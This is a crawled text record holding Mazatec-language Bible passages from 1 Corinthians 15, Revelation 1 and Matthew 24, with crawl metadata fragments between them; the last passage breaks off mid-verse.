kiskaàn‑koa̱a xi̱ta̱ koni tsà xa ján Éfeso, ¿mé xi kisìkijne? Tsà jñà xi̱ta̱ xi jye k'en mì ti̱ kiì kjoa̱áya‑la̱, ti̱koa̱á‑ne: \"Ki̱chiaá, s'ioa̱á nga nchijòn‑lè ki̱yá‑ná.\" 33Kì yá xi̱ta̱ xi kona̱cha̱n‑nò i̱t'aà ts'e̱ kjoa̱ koi. Nga tjín jngoò 'én xi tsò: \"Jñà xi̱ta̱ xi tsjahijtakoa̱á xi mìkiì ndaà s'ín, jñà síkits'ón‑jiìn kjoa̱ xi ndaà tjín koni s'ín titsa̱nìjchá yijo‑ná.\" 34Ndaà ti̱kítsjeèn i̱t'aà ts'e̱ kjoa̱ koi; kì tà tsjaà jé binchaàtsjioò. Nga tjín i'nga xi̱ta̱ xinguio̱o xi mìkiì beèxkon Nainá. K'oa̱á xan‑nò mé‑ne nga kàtasobà‑nò. 35Tsà koi na̱chrjein‑la̱ tjín i'nga xi̱ta̱ xi tsò: \"¿Kós'ín ko̱ma nga kjoa̱áya‑la̱ xi̱ta̱ xi jye k'en? ¿Kó kjoàn yijo xi ki̱tjokàjiìn‑ko̱?\" 36¡Mé tà tòndo̱‑nò! K'e̱ nga 'bè tje̱, jñà no̱jmé nga sihijiìn, biyaà‑né, mé‑ne nga ki̱so̱ xi̱tse̱‑ne jno̱, nga ìjngoò k'a kítsa̱jnakon. 37K'e̱ nga 'bè tje̱, mìtsà jñà xi jye jno̱ bìtje̱e; tà jñà no̱jmé bìtje̱e, o xi trigo‑né. 38Ta̱nga jè Nainá, k'oa̱á kjoàn s'ín koni s'ín mejèn‑la̱; k'oa̱á kjoàn s'ín nga jngoò ìjngoò ska̱ya xojmá koni kjoàn tje̱‑la̱. 39Jñà yijo, mìtsà ngásòn kjoàn. Yijo‑la̱ xi̱ta̱, kj'ei̱í kjoàn; yijo‑la̱ cho̱, kj'ei̱í kjoàn; yijo‑la̱ ti̱n, kj'ei̱í kjoàn; yijo‑la̱ ni̱se, kj'ei̱í kjoàn. 40Koni choòn i̱ i̱sò'nde nga tjín yijo xi kj'ei̱í s'ín tsejèn, k'oa̱á ti choòn ngajmiì nga tjín xi kj'ei̱í s'ín tsejèn. Mìtsà ta ngásòn tsejèn xi tjín ngajmiì ko̱ xi tjín i̱sò'nde. 41Jè ts'oí kj'ei̱í s'ín tsejèn, jè sá kj'ei̱í s'ín tsejèn, jñà ni'ño kj'ei̱í s'ín tsejèn. K'a kj'ei̱í, k'a kj'ei̱í s'ín tsejèn nga jngoò ìjngoò sko̱ya. 42K'oa̱á ti̱s'ín ma nga kjoa̱áya‑la̱ xi̱ta̱ xi jye k'en. Jè yijo xi sihijiìn, bits'on‑né, ta̱nga jè yijo xi kjoa̱áya‑la̱, mì ti̱ kiì ki̱ts'ón‑ne. 43Sihijiìn‑né xi nìmé chjí‑la̱; jè xi kjoa̱áya‑la̱ jeya‑né. Xi sihijiìn, yijo indaà‑né; xi kjoa̱áya‑la̱ tjín‑la̱ nga'ñó. 44Jè yijo xi sihijiìn, ta̱xki̱ yijo‑né, ts'e̱ i̱sò'nde‑né. Yijo xi kjoa̱áya‑la̱, yijo xi̱tse̱‑né, ts'e̱é Ini̱ma̱ Tsjeè‑la̱ Nainá. Tjín xi ta̱xki̱ yijo, ti̱koa̱ tjín xi tsjá Ini̱ma̱ Tsjeè‑la̱ Nainá. 45K'oa̱á s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: \"Jè xi̱ta̱ x'i̱n tjòn xi ki'mì Adán, jngoò xi xi̱ta̱ komà xi tsibìjnakon.\" Ta̱nga [jè Cristo], jngoò ini̱ma̱ xi síkítsa̱jnakon xi̱ta̱, nga jè j'iì ngajo‑la̱ Adán nga jyehet'aà‑ne kjoa̱. 46Ta̱nga jè xi ini̱ma̱, mìtsà jè j'iì ítjòn; jè j'iì ítjòn xi ta̱xki̱ yijo ts'e̱ i̱sò'nde, i̱skaán j'iì xi ini̱ma̱. 47Jè xi̱ta̱ x'i̱n xi tjòn, i̱ i̱t'aà nangui ts'e̱; ni'ndeé kisindaà‑ne. Jè xi̱ta̱ x'i̱n xi ma‑ne jò, ngajmiì ts'e̱, ya̱á inchrobà‑ne, [nga jè xi Na̱'èn‑ná]. 48Ngats'iì xi̱ta̱ xi i̱ i̱sò'nde ts'e̱, k'oa̱á kjoàn yijo‑la̱ koni kji ts'e̱ Adán nga ni'ndeé kisindaà‑ne. Ngats'iì xi ngajmiì kítsa̱jna, k'oa̱á kjoàn ko̱ma yijo‑la̱ koni kji ts'e̱ Cristo xi ngajmiì inchrobà‑ne. 49I̱'ndei̱, jñá, k'oa̱á kjoàn tsejèn yijo‑ná koni kji xi ni'nde kisindaà‑ne; nga komà i̱skan, k'oa̱á kjoàn ko̱tsejèn yijo‑ná koni kji xi ngajmiì j'iì‑ne. 50Ndí 'ndsè, k'oa̱á xan‑nò jè yijo‑ná nga jní tjín‑la̱ mìkiì ma kjoa̱has'en‑jiìn ñánda tíhotíxoma Nainá. Ti̱koa̱á jè yijo‑ná xi bi'ndoya mìkiì ok'ìn‑la̱ nga ya̱ kjoa̱has'en‑jiìn ñánda tjín xi mìkiì bi'ndoya. 51Kèno̱jmí jngoò‑nò kjoa̱'ma ts'e̱ Nainá: Jñá xi xi̱ta̱‑la̱ Cristo 'mì‑ná, mìtsà ngats'iaá nga ki̱yá, ta̱nga ngats'iì‑ná ta jngoò tjò kjoa̱tjìya‑ná, 52k'oa̱á ngaya‑la̱ koni k'e̱ nga tsíx'a̱á koa̱ bíchjoà xkoaán, ti̱k'e̱é‑ne nga ski̱ndàya chrjo trompeta xi fehet'aà‑ne. K'e̱ nga kjo̱ne chrjo trompeta, jñà mik'en kjoa̱áya‑la̱, mì ti̱ kiì ki̱'ndo‑ne ni̱ta̱ kjé‑ne. Koa̱ jñá kjoa̱tjìya‑ná. 53Jè yijo‑ná nga biyaà ko̱ nga bi'ndo, mochjeén‑né nga tjoé jngoò‑la̱ yijo xi mì ti̱ kiì ki̱yá‑ne ko̱ mì ti̱ kiì ki̱'ndo‑ne ni̱ta̱ kjé‑ne. 54K'e̱ nga k'oa̱s'ín ko̱ma nga jè yijo‑ná tjoé jngoò‑la̱ yijo xi mì ti̱ kiì ki̱yá‑ne ko̱ mì ti̱ kiì ki̱'ndo‑ne ni̱ta̱ kjé‑ne, k'e̱é ki̱tasòn koni s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: \"Jè kjoa̱ xi síkijne jngoò k'aá síchija kjoa̱biyaà. 55Ji̱ xi kjoa̱ biyaà 'mì‑lè, ¿ñánda‑ne nga kinìkijni? ¿Ñánda tíjna na'yá‑lè xi ma‑la̱ sík'en xi̱ta̱?\" 56Jè na'yá xi tjín‑la̱ kjoa̱ biyaà, jé kjoa̱ ts'e̱ jé. Ko̱ jè nga'ñó xi tjín‑la̱ jè kjoa̱ ts'e̱ jé, jé kjo̱tíxoma. 57Ndaà chjí‑la̱ Nainá nga jè tsjá‑ná nga'ñó xi i̱t'aà ts'e̱ Jesucristo xi otíxoma‑ná nga nìkijne‑lá kjoa̱ biyaà ko̱ kjoa̱ ts'e̱ jé. 58Jñò ndí 'ndsè xi matsjake̱‑nò, kixi̱ ti̱tsa̱jna. Ni̱yá xi si̱ìkjatjìya‑la̱ kjo̱hítsjeèn‑nò. Kjit'aà na̱chrjein ìsa̱ 'ñó ti̱xá‑là Na̱'èn‑ná. Nga̱ tíjiìn‑nò nga jè xá xi 'nè xi ts'e̱ Na̱'èn‑ná, mìtsà tà kjo̱tjò.\n1 Corintios 15","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/1Cor\/15","date":"2013-12-11T19:31:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164044626\/warc\/CC-MAIN-20131204133404-00036-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.0000087022781372}","num_words":1465,"character_repetition_ratio":0.079,"word_repetition_ratio":0.01,"special_characters_ratio":0.244,"stopwords_ratio":0.31,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"1Kjoa̱ ra Nainá kitsjà‑la̱ Jesucristo mé‑ni nga katabakón tsijen‑la̱ ra xi̱ta̱ chi̱'nda‑la̱ ma, kjoa̱ ra ta ndi̱to̱n kjón‑ní ko̱ka̱ma. Ko̱ 'koa̱á 'sín isíkjí'nchré Juan ra chi̱'nda‑la̱ ma 'kia̱ nga jngo ìkja̱li̱‑la̱ isìkasén‑la̱ nga ko̱kitsò‑la̱ jñà kjoa̱ kìi̱. 2Ko̱ jè Juan tíchja̱ kixi̱‑ní ['kia̱ nga tsikí'ta xa̱jo̱n] nga'tsì kjoa̱ ra kijtse ko̱ ra kií'nchré koni 'sín nga jè Jesucristo kiìchja̱ kixi̱‑la̱ jñà 'én ra kitsjà‑la̱ Nainá. 3Mé ta̱ nda‑la̱ jè xi̱ta̱ ra kotá'yá ko̱ jñà xi̱ta̱ ra 'nchré jñà 'én‑la̱ Nainá ra tjí'ta xa̱jo̱n ra̱kìi̱, kjoa̱ ra 'sa̱ ko̱ka̱ma; ti̱'koa̱á mé ta̱ nda‑la̱ jñà xi̱ta̱ ra síhitjasòn koni 'sín nga tíchja̱ jñà 'én ra ya̱ tjí'ta, nga̱ jè ni̱chjin ra̱kìi̱, ijyeé tímachraña. 4'A̱n ra 'mì‑na Juan, 'a̱án tíbindá‑no xa̱jo̱n jiòn ra na̱xi̱ndá‑la̱ Cristo 'mì‑no ra ito i̱'nde titsa̱jna ya̱ nangi ra chja̱‑ni Asia. Jè katatsjá‑no kjo̱nda ko̱ kjo̱'nchán jè Nainá ra tíjna skanda ni̱chjin 'ndi̱, ko̱ jè ra tíjna‑ni skanda kjo'tsia̱, ko̱ jè ra 'sa̱ kj'i̱í india‑ni, ko̱ jñà Inìma̱ Tsje ra ito ma‑ni ra títsa̱jna ya̱ ngixko̱n jè ra tíjnasòn íxile̱ nga tíbatéxoma, 5ko̱ jè Jesucristo jè ra ngi 'én kixi̱ tsjá, jè i'ndí‑tjòn ra jaáya‑ila̱ ya̱ a̱jin‑la̱ mi'ken, ko̱ jè ra batéxoma‑la̱ jñà xi̱ta̱ ra tjíhijyo ítjòn i̱ a̱'ta nangi. Jè Cristo ra tsjake‑ná, ra ngi ko̱ó jní‑la̱ ra ixaájten isìtsje‑ni jñà jé‑ná. 6Xi̱ta̱xá ítjòn ko̱ na̱'mì ki'sín‑ná nga ya̱ si̱xá'ta‑lá Nainá ra Na̱'ìn‑la̱ ma. Jeya katijna ki'ta ra jè, ko̱ jè katabatéxoma ki'ta skanda ta kjiá‑nioo̱ ko̱ skanda ta mé ni̱chjin‑nioo̱. Ko̱'sín katama. 7¡Chítsijen‑la jè Cristo, ijyeé nchrabá ya̱ a̱jin ifi! Nga'tsì xi̱ta̱ ske̱é‑ni xko̱n. Ko̱ jñà xi̱ta̱ ra isì'ken ti̱'koa̱á ske̱‑ní. Nga'tsì xi̱ta̱ na̱xi̱ndá ra tjín i̱ a̱'ta nangi 'ñó ski̱ndaya 'kia̱ nga ske̱. Jon, 'koa̱á 'sín ko̱ma. 8\"'A̱án‑ná ra tíjna̱ ítjòn skanda kjo'tsia̱, ko̱ 'a̱án‑ná ra tíjna̱ skanda 'kia̱ nga kje̱he'tà ni̱chjin, 'koa̱á 'sín xiaa̱n 'a̱n ra Nainá 'mì‑na ra tíjna̱ ítjòn‑no, 'a̱n ra tíjna̱ skanda ni̱chjin 'ndi̱, 'a̱n ra tíjna̱‑na skanda kjo'tsia̱, ko̱ 'a̱n ra 'sa̱ kjí'i̱ india‑na, ra bato tse nga'ñó tjín‑na.\" 9'A̱n ra 'mì‑na Juan, ra 'ndsé chibé tísíngásòn‑ko̱‑najiòn ta nga̱tjì‑la̱ nga ngásòn ya̱ mahítji̱ngi‑lá jè Jesucristo; 'koa̱á ma‑ni nga ngásòn i̱nchinìkjeén kjo̱hi'in, ko̱ ngásòn ya̱ nakjoá‑ná ñánda̱ nga Nainá tíbatéxoma ko̱ ngásòn i̱nchichíkjoa̱jin‑ná nga'tsì kjoa̱. India 'kia̱ nga ya̱ tíjna̱ i̱'nde ra kjijnajin‑ndá ra 'mì Patmos ta nga̱tjì‑la̱ 'én‑la̱ Nainá ko̱ tà nga̱tjì‑la̱ nga jè tsi'kènájmíya a̱'ta 'tse̱ Jesucristo. 10Ya̱á tíjna̱ 'kia̱ nga jè ni̱chjin‑la̱ Na̱'ín‑ná ko̱ jè nga'ñó 'tse̱ Inìma̱ Tsje‑la̱ Nainá 'jiìkànè‑na; ko̱ ya̱ a̱jto̱n í'ndsian kí'nchré jngo‑la̱ 'én ra 'ñó kiìchja̱ koni tsa jngo jta̱‑la̱ chrjoo̱ ra 'ñó jane, 11nga kitsò: ―'A̱án‑ná ra tíjna̱ ítjòn skanda kjo'tsia̱, ko̱ 'a̱án‑ná ra tíjna̱ skanda 'kia̱ nga kje̱he'tà ni̱chjin. Jngo xa̱jo̱n tinda'tí jè kjoa̱ ra tjì'yi, a̱kjòn ti̱kasén‑la̱ jñà na̱xi̱ndá‑na̱ ra ito i̱'nde títsa̱jna ya̱ nangi ra chja̱‑ni Asia, jñà na̱xi̱ndá ra 'mì Éfeso, Esmirna, Pérgamo, Tiatira, Sardis, Filadelfia ko̱ Laodicea. 12Ko̱ ísikáfa‑náa̱ nga mejèn‑na skee̱ yá‑ní ra tíchja̱‑na. Ito ki̱cha̱ candelero kíjtsee̱ ra ngi ki̱cha̱ sinè ra ya̱ tìya sera̱. 13Ya̱ nga masen‑la̱ ñánda̱ nga i̱jncha jñà ki̱cha̱ candelero ra ito ma‑nioo̱, ya̱á síjna ra ko̱'sín 'ki koni i'ndí‑la̱ xi̱ta̱. Jngo nikje ndajò kjiya ra bijchó skanda a̱tjòn ndsa̱ko̱. Ko̱ tjíkjá jngo xìncho̱ ra ngi ki̱cha̱ sinè ra tjíté ya̱ a̱sòn inìma̱‑la̱. 14Jñà tsja̱‑sko̱, 'koa̱á 'sín 'ñó chraba kjòn koni kjòn tsja̱‑la̱ forrè, ko̱ koni 'sín kjòn jñà 'nchán. Jñà xko̱n, 'koa̱á 'sín tsijen koni tsa títì ni'í. 15Jñà ndsa̱ko̱, 'koa̱á 'sín kjòn koni ki̱cha̱ sinè ra 'ñó nda fate 'kia̱ nga ijye sijin ni'í. Jè jta̱‑la̱ 'koa̱á 'sín na'yá‑la̱ koni 'sín ma jngo xa̱ngá ñánda̱ nga 'ñó jè nandá tíxaájten. 16Ya̱ tsja nga kixi̱, ito nitse tjíya. Ya̱ tsa'ba, jngo ki̱cha̱ ndajò bitjo ra i̱tsjí 'ki ra ijò ngajò 'ka̱. Ko̱ jè i̱sén‑la̱, 'koa̱á 'sín 'ki koni jè tsá'bí 'kia̱ nga 'ñó tsje ma ndabá‑la̱. 17'Kia̱ nga kíjtsee̱, ya̱á ískàtje̱n‑ngiaa̱ ndsa̱ko̱ koni tsa jngo mi'ken. Ko̱ 'kia̱á tsakásòn‑na jè tsja kixi̱, kitsò‑na: ―Kì tà chjàn skon‑jìn, 'a̱án‑ná ra tíjna̱ ítjòn skanda kjo'tsia̱ ko̱ 'a̱án‑ná ra tíjna̱ skanda 'kia̱ nga kje̱he'tà ni̱chjin; 18ko̱ 'a̱án‑ná ra tíjna̱kon; 'keén‑náa̱, tanga 'ndi̱ 'ndi̱ tíjna̱kon‑ná skanda ta kjiá‑nioo̱ ko̱ skanda ta mé ni̱chjin‑nioo̱. 'A̱án tsá'ya̱ jè yabi̱ 'tse̱ kjo̱biya ya̱ i̱'nde‑la̱ mi'ken. [Tjí'ndeé‑na nga 'a̱n ma skí'xa̱ i̱'nde‑la̱ mi'ken nga sikjaáya‑ila̱ ti̱'koa̱á tjí'nde‑na nga kichjàa̱ jè xo̱tjo̱ba̱‑la̱.] 19Tinda'tí xa̱jo̱n jñà kjoa̱ ra ijye kà'yi ko̱ kjoa̱ ra tíma 'ndi̱ 'ndi̱ ko̱ jñà kjoa̱ ra 'sa̱ ko̱ka̱ma. 20Ki̱í 'sín tíchja̱‑ni kjoa̱'ma 'tse̱ nitse ra ito ma‑ni ra kà'yi ko̱ jñà candelero ra ito ma‑ni ra ngi ki̱cha̱ sinè. Jñà nitse ra ito ma‑nioo̱, jñá ìkja̱li̱ 'tse̱ na̱xi̱ndá‑na̱ ra ito i̱'nde tjítsa̱jna. Ko̱ jñà candelero ra ito ma‑ni, jñá‑ní na̱xi̱ndá‑na̱ ra ito i̱'nde tjítsa̱jna.\nApocalipsis Array","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Rev\/","date":"2013-12-10T01:18:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164003799\/warc\/CC-MAIN-20131204133323-00033-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000075102,"language_script":"Latn","minhash_cluster_size":32,"top_langs":"{\"maa_Latn_score\": 1.0000075101852417}","num_words":769,"character_repetition_ratio":0.069,"word_repetition_ratio":0.024,"special_characters_ratio":0.239,"stopwords_ratio":0.33,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"1'Kia̱ nga ijye itjo‑ni i̱ngo̱ ítjòn Jesús, jñà xi̱ta̱ ra kotá'yá'ta‑la̱ tsincha'ta chraña‑la̱ nga tsakón‑la̱ chrjó‑la̱ i̱ngo̱. 2Ko̱ jè Jesús kitsó‑la̱: ―¿A tsijeén‑no nga'tsì na̱jo̱‑la̱ ni'ya ra̱kìi̱? 'Koa̱á xin kixi̱‑no, ni̱ì‑ti̱‑jngo na̱jo̱‑la̱ si̱hijyosón‑ila̱ xákjién. Ki̱xo̱jen ijyeé kóho'kioo̱. 3'Kia̱ nga tíjna Jesús ya̱ a̱sòn'nga nindo Yá Olivo, jñà xi̱ta̱ ra kotá'yá'ta‑la̱ ya̱á ijchò kincha'ta chraña‑la̱ nga iskonangi 'taxìn‑la̱ kitsò‑la̱: ―Ko̱'tín‑náji̱n, ¿kjiá‑nioo̱ nga ko̱'sín ko̱ka̱ma jñà kjoa̱ kìi̱? ¿Mé kjo̱xkón ra tsijen jcha̱‑la̱ 'kia̱ nga kjí'i̱ india‑ni ko̱ 'kia̱ nga kje̱he'tà jè i̱sà'nde? 4Jè Jesús kitsó‑la̱: ―Nda ti̱kinda̱a ijo‑no mé‑ni nga mì yá ra sko̱ónda̱cha̱‑no. 5Nga̱ kjín xi̱ta̱ kj'i̱í ra jè 'í‑na̱ si̱ìchjeén nga ki̱tso̱: \"'A̱án‑ná ra Cristo [ra xá isìkasén‑ni Nainá]\"; ko̱ kjín xi̱ta̱ sko̱ónda̱cha̱‑la̱. 6Ki̱ná'yá‑nájiòn nga jndíi̱ ra ján 'se̱ kjo̱jchán, tanga kì tà chjàn skon jiòn; xá 'koa̱á 'sín ka̱ma‑ni tanga kjè tsa kje̱he'tà‑jìn jè i̱sà'nde. 7Nga̱ ki̱ì'tsia̱á‑la̱ kjo̱jchán xákjién jñà ra xi̱ta̱xá ítjòn títsa̱jna nga i̱nchibatéxoma ya̱ na̱xi̱ndá i'i ra tjín i̱sà'nde nga ska̱jàn‑kjo. Ko̱ 'se̱é kjinchrá; ko̱ jndíi̱ ra ján 'koa̱ chón ta nga tíjngo i̱sà'nde. 8Jñà kjoa̱ kìi̱, ta jé ra ma'tsia̱‑ni ta nga'tsì kjo̱hi'in ra 'se̱. 9'Ko̱ jiòn, tseé kjo̱hi'in tsjá‑no jñà xi̱ta̱, ko̱ si̱ì'keén‑no; ko̱ nga'tsì xi̱ta̱ ra tjín nga tíjngo i̱sà'nde si̱ìjtikeé‑nájiòn, ra ta nga̱tjì tsa̱'a̱n. 10Jñà ni̱chjin kìi̱, kjín xi̱ta̱ ska̱jin kjoa̱ nga mì kì ti̱ ko̱kjiín‑la̱ ra a̱'ta tsa̱'a̱n; ko̱ ti̱jñà si̱ìjtike‑ni xákjién; ko̱ i̱ko̱ ni'ya masen xákjién nga koa̱àngi. 11Kjín xi̱ta̱ ko̱tsíjen ra ta xi̱ta̱ ndiso ra ki̱tso̱ nga jè Nainá chja̱ ngajo‑la̱. Ko̱ kjín xi̱ta̱ sko̱ónda̱cha̱‑la̱. 12Ta nga̱tjì‑la̱ nga bato 'se̱ ra kjoa̱'cho, kjín xi̱ta̱ mì kì ti̱ tsjake 'si̱in‑ni xi̱ta̱ xákjién. 13Tanga jè ra chíkjoa̱‑la̱ nga kixi̱ ko̱se̱n skanda 'kia̱ nga kje̱he'tà jñà kjoa̱ kìi̱, jè‑ní ra ko̱tojin kjo̱hi'in. 14Ko̱ jè 'én nda‑la̱ Cristo ra 'béna̱jmí kó'sín batéxoma Nainá, 'se̱na̱jmíya‑ní nga tíjngo i̱sà'nde, mé‑ni nga nga'tsì na̱xi̱ndá ra tjín kata'nchré‑ni, ko̱ a̱kjòn, 'kia̱á kje̱he'tà jè i̱sà'nde. 15''Koa̱á ma‑ni, 'kia̱ nga jcha̱a ya̱ i̱'nde tsje‑la̱ Nainá, kjoa̱tjé ra ko̱ka̱ma ra 'ñó 'cho tjín, koni 'sín kitsò Daniel xi̱ta̱ ra isìchjeén Nainá nga kiìchja̱ ngajo‑la̱. (Ndaá katasijin‑la̱ jñà xi̱ta̱ ra ma‑la̱ kotá'yá xa̱jo̱n.) 16'Kia̱ nga jcha̱a kjoa̱ kìi̱, jñà xi̱ta̱ ra ya̱ títsa̱jna ya̱ Judea, kata'fahachinga; ya̱ katafì ya̱ a̱sòn nindo ján. 17Ko̱ jè ra ya̱ tíjna a̱sòn'nga ni'ya‑la̱, kì tà chjàn bitjojen‑jìn nga kjábé mé tsajmì ra tjín‑la̱. 18Ko̱ jè ra ya̱ tsá'bajin nangi‑la̱, kì tà chjàn nchrabá‑ni ya̱ ni'ya‑la̱ nga ki̱íxkó jñà nikje‑la̱. 19Tanga, ¡i̱ma̱‑ró‑ni jñà ndí íchjín ra i'ndí tjíhi'ma‑la̱ ko̱ ra i̱nchisíjchá i̱xti‑xó jñà ni̱chjin kìi̱! 20Titsa'ba‑la Nainá mé‑ni nga mì tsa 'kia̱ chi̱ba̱‑la̱ ki̱tjáha̱chinga 'kia̱ nga ni̱chjin‑la̱ 'nchán, ko̱ tsa 'kia̱ nga ni̱chjin níkjáya. 21Nga̱ batoó tse kjo̱hi'in 'se̱ jñà ni̱chjin kìi̱ ra kjè sa india ko̱ma skanda 'kia̱‑ni isinda i̱sà'nde skanda 'ndi̱‑ni̱, ko̱ ni̱ì‑ti̱‑kjiá ko̱ka̱ma‑ni a̱skan‑nioo̱. 22Tsa mí‑la jè Nainá kjo̱híxìn chiba jñà ni̱chjin kìi̱, ni̱yá‑la xi̱ta̱ ra ko̱tojin kjo̱hi'in. Tanga jè Nainá kjo̱híxìn chiba jñà ni̱chjin kìi̱, ta nga̱tjì‑la̱ jñà xi̱ta̱‑la̱ ra ijye jè tsjahíjin. 23'Tsa 'kia̱ yá ra ki̱tso̱‑no: \"¡Chítsijen‑la i̱í tíjna jè Cristo [ra xá isìkasén‑ni Nainá]!\" Ko̱ ñá tsa ki̱tso̱‑no: \"¡Chítsijen‑la, ya̱á tíjna ján!\", kì tà chjàn makjiín‑no. 24Nga̱ kj'i̱í i'ka xi̱ta̱, ra ta xi̱ta̱ ndiso ra Cristo ki̱tso̱‑la̱ ijo‑la̱ ko̱ ra ki̱tso̱ nga jñà síchjeén Nainá nga chja̱ ngajo‑la̱. Kjín kjo̱xkón ra tse nga'ñó tji̱ko̱ ko̱kòn ko̱ si̱ìkatsíjen, ra skanda sko̱ónda̱cha̱‑la̱ jñà xi̱ta̱ ra ijye tsjahíjin Nainá tsa ma ra si̱ìko̱. 25Ijyeé ti̱'ndi̱í ko̱tíxin‑no. 26Tsa yá ra ki̱tso̱‑no: \"¡Chítsijen‑la, ya̱á tíjna Cristo ya̱ i̱'nde a̱'ta xìn ñánda̱ nga nangi kixì!\", kì ya̱ mangítji̱ngi‑la. Ko̱ tsa ki̱tso̱‑no: \"¡Ya̱á tíjna ya̱ a̱ya ni'ya!\", ti̱'koa̱ kì tà chjàn makjiín‑no. 27'Kia̱ nga kjí'i̱ india‑na, 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xin‑la̱ ijo‑na̱, 'koa̱á 'sín ka̱ma koni 'sín ma 'kia̱ nga fate jè ni'í 'cho̱n ya̱ ñánda̱ nga bitjokátji‑ni tsá'bí skanda ya̱ ñánda̱ kàtjì‑ni. 28Ta ñánda̱ kjijna jè cho̱ 'ken, ya̱á ko̱jtín‑nè jñà níké. 29''Kia̱, kó ra ijye ko̱to jñà ni̱chjin 'tse̱ kjo̱hi'in, ko̱jñó jè tsá'bí. Ko̱ jè sá mì kì ti̱ ko̱hisen‑ni. Jñà nitse ska̱tsangi‑ní. Ko̱ jñà nga'ñó ra tjín ján ngajmi, ko̱jtiyaá‑la̱. 30A̱kjòn jcha̱ jngo‑la̱ kjo̱xkón ya̱ ján ngajmi ra a̱'ta tsa̱'a̱n ra I'ndí‑la̱ Xi̱ta̱ xin‑la̱ ijo‑na̱. Nga'tsì xi̱ta̱ na̱xi̱ndá ra tjín ya̱ i̱sà'nde, ski̱ndaya‑ní 'kia̱ nga ske̱‑na 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xin‑la̱ ijo‑na̱ nga kji̱nchrabàjìa̱n ya̱ a̱jin ifi nga tse nga'ñó ko̱ tse kjoa̱jeya‑na̱ ya̱ kjíhi̱ko̱ 'kia̱ nga 'a̱n kjí'ia̱. 31Sikásén‑na jñà ìkja̱li̱‑na̱ nga 'ñó si̱ìkjindáya chrjoo̱ nga ki̱íxkóya xi̱ta̱‑na̱ ra ijye 'a̱n tsjahíjia̱n ya̱ kóo jngo tjandi‑la̱ i̱sà'nde. 32'Chítsijen‑la̱ jè yá‑la̱ to igo̱ mé ra bakón‑ya‑ná; 'kia̱ nga jñà chrja chí'ndé‑la̱ bí'tsia̱ nga bí'jtsén‑jno, ijyeé 'ya nga tímachrañaá cho̱ ndabá. 33'Koa̱á ti̱'sín tjín, 'kia̱ nga jcha̱a jñà kjoa̱ kìi̱, katamachi̱yaá‑no nga ijyeé tímachraña jè ni̱chjin; ijyeé ya̱ síjna̱'ta chraña‑no 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xian‑la̱ ijo‑na̱ koni jngo xi̱ta̱ ra ya̱ síjnajto ya̱ xo̱tjo̱ba̱ ni'ya. 34'Koa̱á xin kixi̱‑no, ti̱kjeé biya‑ni xi̱ta̱ ra tjín ni̱chjin 'ndi̱ 'ndi̱‑ni̱ nga ki̱tjasòn ijye nga'tsì kjoa̱ kìi̱. 35Jè ngajmi ko̱ jè i̱sà'nde jchi̱jaá‑la; tanga jñà 'én‑na̱, mì tsa ta ya̱ jcha̱àjin, ki̱tjasòn ijye‑ní. 36'Tanga jè ni̱chjin ko̱ jè hora 'kia̱ nga ko̱ka̱ma, ni̱yá ra tjíjin‑la̱; ni̱jñà ìkja̱li̱ 'tse̱ Nainá ra tjín ya̱ ngajmi; skanda nda mí bee̱, 'a̱n ra I'ndí‑la̱ ma; ta̱ jngoó Nainá ra Na̱'ín‑ná tjíjin‑la̱. 37'Koni 'sín kjomà ni̱chjin 'tse̱ Noé, 'koa̱á ti̱'sín ko̱ma 'kia̱ nga kjí'i̱ india‑na 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xin‑la̱ ijo‑na̱. 38Jè ni̱chjin 'kia̱ nga ti̱kje 'ba jtsí xkón, jñà xi̱ta̱ ra tjín 'kia̱, i̱nchibakjèn‑ní, i̱nchi'bi‑ní, i̱nchibixan‑ní skanda jè ni̱chjin 'kia̱ nga 'jaha'sen ni'ya chitso‑la̱ Noé. 39Xi̱ta̱ ra tjín 'kia̱, skanda 'kia̱á kjòchi̱ya‑la̱ 'kia̱ nga ijye 'ji jè jtsí xkón, ko̱ ya̱á kiìko̱ chrjoba nga'tsì xi̱ta̱ kìi̱. 'Koa̱á ti̱'sín ko̱ma 'kia̱ nga kjí'i̱ india‑na 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xin‑la̱ ijo‑na̱. 40Jè ni̱chjin 'kia̱ nga ko̱ka̱ma, jò xi̱ta̱ ra i̱nchisíxá ya̱ a̱jin ijñáa̱, jngo ra ki̱ji̱ko̱ Nainá ko̱ jngo ra si̱jna. 41Jò íchjín ra i̱nchisíki'xi na̱'yo̱, jngo ra ki̱ji̱ko̱ Nainá ko̱ jngo ra si̱jna. 42'Nda ti̱tsa̱jnakon, nga̱ mì kì tjíjin‑no mé ni̱chjin ko̱ mé hora kj'i̱í jè ra tíjna ítjòn‑no. 43Tjíjiín‑no, tsa 'kia̱ jngo ni‑la̱ ni'ya ijye tjíjin‑la̱ mé hora kj'i̱í jè xi̱ta̱ ra si̱ìchijé‑la̱, kíjnakoón‑la nga si̱ìkinda̱ ni'ya‑la̱, mì kì tsjá'nde nga ko̱chijé‑la̱. 44'Koa̱á ma‑ni ko̱'sín nda ti̱tsa̱jnanda jiòn, nga̱ 'kia̱á kjí'i̱ india‑na 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xin‑la̱ ijo‑na̱ jè hora 'kia̱ nga mì kì i̱nchichiñá jiòn. 45''Koa̱á xín kixi̱‑no jè chi̱'nda ra kixi̱ ko̱ ra 'ñó xi̱kjoa̱, jè ni‑la̱ jé tsjá‑la̱ xá 'nga nga 